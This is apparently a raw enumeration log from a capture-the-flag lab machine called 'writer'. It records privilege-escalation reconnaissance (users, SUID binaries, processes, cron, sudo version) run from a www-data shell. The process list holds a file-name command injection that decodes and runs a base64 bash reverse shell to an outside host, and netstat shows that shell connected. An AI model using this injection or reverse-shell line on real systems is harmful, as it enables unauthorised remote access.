System/Kernel


www-data@writer:/$ filfile /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a6cb40078351e05121d46daa768e271846d5cc54, for GNU/Linux 3.2.0, stripped
linux writer 5.4.0-80-generic #90-ubuntu smp fri jul 9 22:49:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.2 LTS"
NAME="Ubuntu"
VERSION="20.04.2 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.2 LTS"
VERSION_ID="20.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Ubuntu 20.04.2 LTS (Focal Fossa) 5.4.0-80-generic x86_64

Networks


www-data@writer:/$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      24141/python3       
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:39494         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:39494         ESTABLISHED -                   
tcp        0    301 10.10.11.101:46046      10.10.14.2:9999         ESTABLISHED 23614/bash          
tcp        0      0 127.0.0.1:40666         127.0.0.1:3306          ESTABLISHED 23608/sh            
tcp        0      1 10.10.11.101:42240      1.1.1.1:53              SYN_SENT    -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:40372         ESTABLISHED -                   
tcp        0      0 127.0.0.1:40372         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:40666         ESTABLISHED -                   
udp        0      0 127.0.0.1:46457         127.0.0.53:53           ESTABLISHED -                   
udp        0      0 127.0.0.1:34771         127.0.0.53:53           ESTABLISHED -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 10.10.11.255:137        0.0.0.0:*                           -                   
udp        0      0 10.10.11.101:137        0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:137             0.0.0.0:*                           -                   
udp        0      0 10.10.11.255:138        0.0.0.0:*                           -                   
udp        0      0 10.10.11.101:138        0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:138             0.0.0.0:*                           -                   

127.0.0.1:3306 127.0.0.1:8080 127.0.0.1:53 127.0.0.1:25 127.0.0.1:40666

Users & Groups


www-data@writer:/$ cat /etc/passwd ; ls -lasht /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
total 16K
4.0K drwxr-xr-x  3 kyle kyle 4.0K Aug  5  2021 kyle
4.0K drwxr-xr-x  4 john john 4.0K Aug  5  2021 john
4.0K drwxr-xr-x  4 root root 4.0K Jul  9  2021 .
4.0K drwxr-xr-x 20 root root 4.0K Jul  9  2021 ..

kyle john

www-data@writer:/$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(landscape) gid=115(landscape) groups=115(landscape)
uid=110(pollinate) gid=1(daemon) groups=1(daemon)
uid=111(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=112(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
uid=998(lxd) gid=100(users) groups=100(users)
uid=113(postfix) gid=118(postfix) groups=118(postfix)
uid=997(filter) gid=997(filter) groups=997(filter)
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
uid=114(mysql) gid=120(mysql) groups=120(mysql)

uid=1001(john) gid=1001(john) groups=1001(john),1003(management) uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

SUIDs


www-data@writer:/$ find / -perm -04000 -ls -type f 2>/dev/null
      128    109 -rwsr-xr-x   1 root     root       111080 Jul 14  2021 /snap/snapd/12704/usr/lib/snapd/snap-confine
      128    109 -rwsr-xr-x   1 root     root       111080 Jun 15  2021 /snap/snapd/12398/usr/lib/snapd/snap-confine
       56     43 -rwsr-xr-x   1 root     root        43088 Sep 16  2020 /snap/core18/2066/bin/mount
       65     63 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /snap/core18/2066/bin/ping
       81     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /snap/core18/2066/bin/su
       99     27 -rwsr-xr-x   1 root     root        26696 Sep 16  2020 /snap/core18/2066/bin/umount
     1708     75 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /snap/core18/2066/usr/bin/chfn
     1710     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /snap/core18/2066/usr/bin/chsh
     1763     75 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /snap/core18/2066/usr/bin/gpasswd
     1827     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /snap/core18/2066/usr/bin/newgrp
     1840     59 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /snap/core18/2066/usr/bin/passwd
     1931    146 -rwsr-xr-x   1 root     root       149080 Jan 19  2021 /snap/core18/2066/usr/bin/sudo
     2018     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 11  2020 /snap/core18/2066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2328    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap/core18/2066/usr/lib/openssh/ssh-keysign
       56     43 -rwsr-xr-x   1 root     root               43088 Sep 16  2020 /snap/core18/2074/bin/mount
       65     63 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /snap/core18/2074/bin/ping
       81     44 -rwsr-xr-x   1 root     root               44664 Mar 22  2019 /snap/core18/2074/bin/su
       99     27 -rwsr-xr-x   1 root     root               26696 Sep 16  2020 /snap/core18/2074/bin/umount
     1710     75 -rwsr-xr-x   1 root     root               76496 Mar 22  2019 /snap/core18/2074/usr/bin/chfn
     1712     44 -rwsr-xr-x   1 root     root               44528 Mar 22  2019 /snap/core18/2074/usr/bin/chsh
     1765     75 -rwsr-xr-x   1 root     root               75824 Mar 22  2019 /snap/core18/2074/usr/bin/gpasswd
     1829     40 -rwsr-xr-x   1 root     root               40344 Mar 22  2019 /snap/core18/2074/usr/bin/newgrp
     1842     59 -rwsr-xr-x   1 root     root               59640 Mar 22  2019 /snap/core18/2074/usr/bin/passwd
     1933    146 -rwsr-xr-x   1 root     root              149080 Jan 19  2021 /snap/core18/2074/usr/bin/sudo
     2020     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 11  2020 /snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2330    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap/core18/2074/usr/lib/openssh/ssh-keysign
     1399     52 -rwsr-xr--   1 root     messagebus         51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     6252    128 -rwsr-xr-x   1 root     root              130408 Mar 26  2021 /usr/lib/snapd/snap-confine
     1406     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
    12532    464 -rwsr-xr-x   1 root     root              473576 Mar  9  2021 /usr/lib/openssh/ssh-keysign
     8446     24 -rwsr-xr-x   1 root     root               22840 May 26  2021 /usr/lib/policykit-1/polkit-agent-helper-1
      850     56 -rwsr-xr-x   1 root     root               55528 Jul 21  2020 /usr/bin/mount
      716     88 -rwsr-xr-x   1 root     root               88464 May 28  2020 /usr/bin/gpasswd
     1122     68 -rwsr-xr-x   1 root     root               67816 Jul 21  2020 /usr/bin/su
      519     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
      864     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/bin/newgrp
     1123    164 -rwsr-xr-x   1 root     root              166056 Jan 19  2021 /usr/bin/sudo
     7768     32 -rwsr-xr-x   1 root     root               31032 May 26  2021 /usr/bin/pkexec
      587     84 -rwsr-xr-x   1 root     root               85064 May 28  2020 /usr/bin/chfn
      897     68 -rwsr-xr-x   1 root     root               68208 May 28  2020 /usr/bin/passwd
     1192     40 -rwsr-xr-x   1 root     root               39144 Jul 21  2020 /usr/bin/umount
      593     52 -rwsr-xr-x   1 root     root               53040 May 28  2020 /usr/bin/chsh
      698     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount

SGIDs


www-data@writer:/$ find / -perm -02000 -ls -type f 2>/dev/null | grep -v 'root.*staff' | grep -v 'www-data:*'
     1637     34 -rwxr-sr-x   1 root     shadow      34816 Jul 21  2020 /snap/core18/2066/sbin/pam_extrausers_chkpwd
     1666     34 -rwxr-sr-x   1 root     shadow      34816 Jul 21  2020 /snap/core18/2066/sbin/unix_chkpwd
     1703     71 -rwxr-sr-x   1 root     shadow      71816 Mar 22  2019 /snap/core18/2066/usr/bin/chage
     1748     23 -rwxr-sr-x   1 root     shadow      22808 Mar 22  2019 /snap/core18/2066/usr/bin/expiry
     1924    355 -rwxr-sr-x   1 root     crontab    362640 Mar  4  2019 /snap/core18/2066/usr/bin/ssh-agent
     1988     31 -rwxr-sr-x   1 root     tty         30800 Sep 16  2020 /snap/core18/2066/usr/bin/wall
    10786      0 drwxrwsr-x   2 root     mail            3 May  7  2021 /snap/core18/2066/var/mail
     1639     34 -rwxr-sr-x   1 root     shadow      34816 Apr  8  2021 /snap/core18/2074/sbin/pam_extrausers_chkpwd
     1668     34 -rwxr-sr-x   1 root     shadow      34816 Apr  8  2021 /snap/core18/2074/sbin/unix_chkpwd
     1705     71 -rwxr-sr-x   1 root     shadow      71816 Mar 22  2019 /snap/core18/2074/usr/bin/chage
     1750     23 -rwxr-sr-x   1 root     shadow      22808 Mar 22  2019 /snap/core18/2074/usr/bin/expiry
     1926    355 -rwxr-sr-x   1 root     crontab    362640 Mar  4  2019 /snap/core18/2074/usr/bin/ssh-agent
     1990     31 -rwxr-sr-x   1 root     tty         30800 Sep 16  2020 /snap/core18/2074/usr/bin/wall
    10795      0 drwxrwsr-x   2 root     mail            3 Jun 11  2021 /snap/core18/2074/var/mail
    15746      4 drwx--s---   2 postfix  postdrop     4096 apr 19 09:06 /var/spool/postfix/public
   287793      4 drwxr-s---   2 mysql    adm          4096 apr 19 09:05 /var/log/mysql
   270592      4 drwxr-sr-x   3 root     systemd-journal     4096 Jul  9  2021 /var/log/journal
    56323      4 drwxr-sr-x   2 root     systemd-journal     4096 apr 19 09:05 /var/log/journal/caac6138621e4204a300ecfd150b5f51
   270078      4 drwxrwsr-x   2 root     mail                4096 May 19  2021 /var/mail
      338      0 drwxr-sr-x   2 root     systemd-journal       40 apr 19 09:05 /run/log/journal
   134696     16 -rwxr-sr-x   1 root     utmp               14648 Sep 30  2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
      617     44 -rwxr-sr-x   1 root     crontab            43720 Feb 13  2020 /usr/bin/crontab
      532     16 -rwxr-sr-x   1 root     tty                14488 Mar 30  2020 /usr/bin/bsd-write
      519     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
      582     84 -rwxr-sr-x   1 root     shadow             84512 May 28  2020 /usr/bin/chage
    12526    344 -rwxr-sr-x   1 root     ssh               350504 Mar  9  2021 /usr/bin/ssh-agent
     1234     36 -rwxr-sr-x   1 root     tty                35048 Jul 21  2020 /usr/bin/wall
      680     32 -rwxr-sr-x   1 root     shadow             31312 May 28  2020 /usr/bin/expiry
    31638     44 -rwxr-sr-x   1 root     shadow             43160 Apr  8  2021 /usr/sbin/unix_chkpwd
    15672     24 -r-xr-sr-x   1 root     postdrop           22760 Jun 19  2020 /usr/sbin/postqueue
     8262     44 -rwxr-sr-x   1 root     shadow             43168 Apr  8  2021 /usr/sbin/pam_extrausers_chkpwd
    15654     24 -r-xr-sr-x   1 root     postdrop           22808 Jun 19  2020 /usr/sbin/postdrop

Processes


www-data@writer:/$ ps ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 167836 11396 ?        Ss   09:05   0:04 /sbin/init auto automatic-ubiquity noprompt
root         497  0.0  1.2 100628 50268 ?        S<s  09:05   0:13 /lib/systemd/systemd-journald
root         524  0.0  0.1  21512  5660 ?        Ss   09:05   0:00 /lib/systemd/systemd-udevd
root         707  0.0  0.4 345816 18212 ?        SLsl 09:05   0:17 /sbin/multipathd -d -s
systemd+     747  0.0  0.3  24028 13016 ?        Ss   09:05   0:06 /lib/systemd/systemd-resolved
systemd+     749  0.0  0.1  90228  6136 ?        Ssl  09:05   0:02 /lib/systemd/systemd-timesyncd
root         761  0.0  0.2  47540 10524 ?        Ss   09:05   0:00 /usr/bin/VGAuthService
root         762  0.1  0.1 237108  7772 ?        Ssl  09:05   0:38 /usr/bin/vmtoolsd
root         867  0.0  0.1 235564  7468 ?        Ssl  09:05   0:02 /usr/lib/accountsservice/accounts-daemon
root         876  0.0  0.0  81960  3640 ?        Ssl  09:05   0:01 /usr/sbin/irqbalance --foreground
root         877  0.0  0.4  29332 18004 ?        Ss   09:05   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
syslog       878  0.0  0.1 224348  5056 ?        Ssl  09:05   0:02 /usr/sbin/rsyslogd -n -iNONE
root         880  0.0  0.7 926220 30912 ?        Ssl  09:05   0:05 /usr/lib/snapd/snapd
root         881  0.0  0.1  16596  7520 ?        Ss   09:05   0:00 /lib/systemd/systemd-logind
root         907  0.0  0.3  33952 14144 ?        Ss   09:05   0:00 /usr/sbin/nmbd --foreground --no-process-group
root         917  0.0  0.0   6812  2984 ?        Ss   09:05   0:00 /usr/sbin/cron -f
daemon       927  0.0  0.0   3792  2276 ?        Ss   09:05   0:00 /usr/sbin/atd -f
root         941  0.0  0.0   8484  3416 ?        S    09:05   0:00 /usr/sbin/CRON -f
root         983  0.0  0.1  12176  7448 ?        Ss   09:05   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         984  0.0  0.1 232716  6884 ?        Ssl  09:05   0:00 /usr/lib/policykit-1/polkitd --no-debug
www-data     987  0.0  0.0   2608   596 ?        Ss   09:05   0:00 /bin/sh -c cd /var/www/writer2_project && python3 manage.py runserver 127.0.0.1:8080
www-data     990  0.0  0.9  52668 39216 ?        S    09:05   0:02 python3 manage.py runserver 127.0.0.1:8080
root         995  0.0  0.0   5828  1824 tty1     Ss+  09:05   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1013  0.0  0.1  13620  5148 ?        Ss   09:05   0:02 /usr/sbin/apache2 -k start
mysql       1072  0.5  2.8 1724892 114156 ?      Ssl  09:05   2:52 /usr/sbin/mysqld
root        1082  0.0  0.5  48968 22688 ?        Ss   09:05   0:00 /usr/sbin/smbd --foreground --no-process-group
root        2793  0.0  0.1  38036  4560 ?        Ss   09:06   0:00 /usr/lib/postfix/sbin/master -w
postfix     2795  0.0  0.1  38500  6200 ?        S    09:06   0:00 qmgr -l -t unix -u
postfix     2800  0.0  0.2  42100  9168 ?        S    09:06   0:00 tlsmgr -l -t unix -u -c
root        4454  0.0  0.2 241216  8872 ?        Ssl  09:34   0:00 /usr/lib/upower/upowerd
www-data   23608  0.0  0.0   2608   604 ?        S    17:21   0:00 sh -c mv /var/www/writer.htb/writer/static/img/shell.jpg; echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzk5OTkgMD4mMSIK | base64 -d | bash;?  /var/www/writer.htb/writer/static/img/shell.jpg; echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzk5OTkgMD4mMSIK | base64 -d | bash;? .jpg
postfix    23836  0.0  0.1  38304  5992 ?        S    17:26   0:00 pickup -l -t unix -u -c
root       24521  0.0  0.0   8356  3372 ?        S    17:42   0:00 /usr/sbin/CRON -f
root       24530  0.0  0.0   2608   608 ?        Ss   17:42   0:00 /bin/sh -c /usr/bin/apt-get update
root       24533  0.3  0.2  16204  8744 ?        S    17:42   0:00 /usr/bin/apt-get update
_apt       24539  0.0  0.2  21076  9480 ?        S    17:42   0:00 /usr/lib/apt/methods/http
www-data   24540  4.3  1.0 128976 43220 ?        Sl   17:42   0:00 /usr/bin/python3 manage.py runserver 127.0.0.1:8080
www-data   24550  0.0  0.0   9276  3308 pts/0    R+   17:42   0:00 ps -auxwww

/usr/lib/snapd/snapd /usr/lib/policykit-1/polkitd --no-debug /usr/sbin/CRON -f /usr/lib/postfix/sbin/master -w pickup -l -t unix -u -c

Cron & Systemd


www-data@writer:/$ crocrontab -l ; cat /etc/crontab ; systemctl list-timers
crontab -l ; cat /etc/crontab ; systemctl list-timers
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
@reboot cd /var/www/writer2_project && python3 manage.py runserver 127.0.0.1:8080
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT          LAST                        PASSED   >
wed 2023-04-19 22:48:48 UTC 5h 3min left  Wed 2023-04-19 09:07:16 UTC 8h ago   >
wed 2023-04-19 23:34:26 UTC 5h 48min left Wed 2023-04-19 09:34:38 UTC 8h ago   >
thu 2023-04-20 00:00:00 UTC 6h left       Wed 2023-04-19 09:05:51 UTC 8h ago   >
thu 2023-04-20 00:00:00 UTC 6h left       Wed 2023-04-19 09:05:51 UTC 8h ago   >
thu 2023-04-20 03:11:57 UTC 9h left       Wed 2023-04-19 15:15:56 UTC 2h 29min >
thu 2023-04-20 03:56:50 UTC 10h left      Wed 2023-04-19 12:12:46 UTC 5h 32min >
thu 2023-04-20 06:29:02 UTC 12h left      Wed 2023-04-19 09:44:46 UTC 8h ago   >
thu 2023-04-20 09:20:42 UTC 15h left      Wed 2023-04-19 09:20:42 UTC 8h ago   >
sun 2023-04-23 03:10:29 UTC 3 days left   Wed 2023-04-19 09:06:51 UTC 8h ago   >
mon 2023-04-24 00:00:00 UTC 4 days left   Wed 2023-04-19 09:05:51 UTC 8h ago   >
 
10 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-14/14 (END)

@reboot cd /var/www/writer2_project && python3 manage.py runserver 127.0.0.1:8080

Sudo Version


www-data@writer:/$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

Sudo version 1.8.31

Glibc Version


www-data@writer:/$ ldd --version
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31